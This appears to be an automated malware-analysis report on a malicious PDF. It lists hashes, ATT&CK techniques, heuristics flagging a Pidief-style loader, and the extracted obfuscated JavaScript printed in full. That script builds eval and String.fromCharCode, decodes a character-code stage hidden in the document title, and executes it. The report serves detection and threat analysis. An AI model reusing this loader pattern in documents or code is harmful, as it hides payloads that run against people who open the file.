Malicious PDF — malware analysis report

Static analysis result for SHA-256 644ad13cb1987965…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-08
MD5: 6e18e54a772dea628da7f636b2044800 SHA-1: 7f928256e1829a63579c987f8304da0ae5a5d0d5 SHA-256: 644ad13cb19879650d56e78df35156f77977ffccd968e9f9f55bc5ecee802ed0
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

This PDF file contains obfuscated JavaScript, flagged by multiple high-severity heuristics, indicating it's a loader for a second-stage payload. The JavaScript attempts to decode a string, likely a URL or command, which is then executed. The ML classifier strongly supports the malicious verdict.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF24 614 bytes
SHA-256: 921fc081319f8b0c14aba1b701c6c152824d880f0f4bbbb1eb00a9bc14474e1b
Preview script
First 1,000 lines of the extracted script
idgzj='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w","v",'r'];
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
ktjk=e('ti'+'tle');
s=ktjk.substr(t.length + 8,3)+'str';
q=ktjk[s](1,(1,9));
pko=e('S'+'tring.fro'+q);
q=ktjk[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	nsax = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	idgzj += pko(nsax);
}
e(idgzj);

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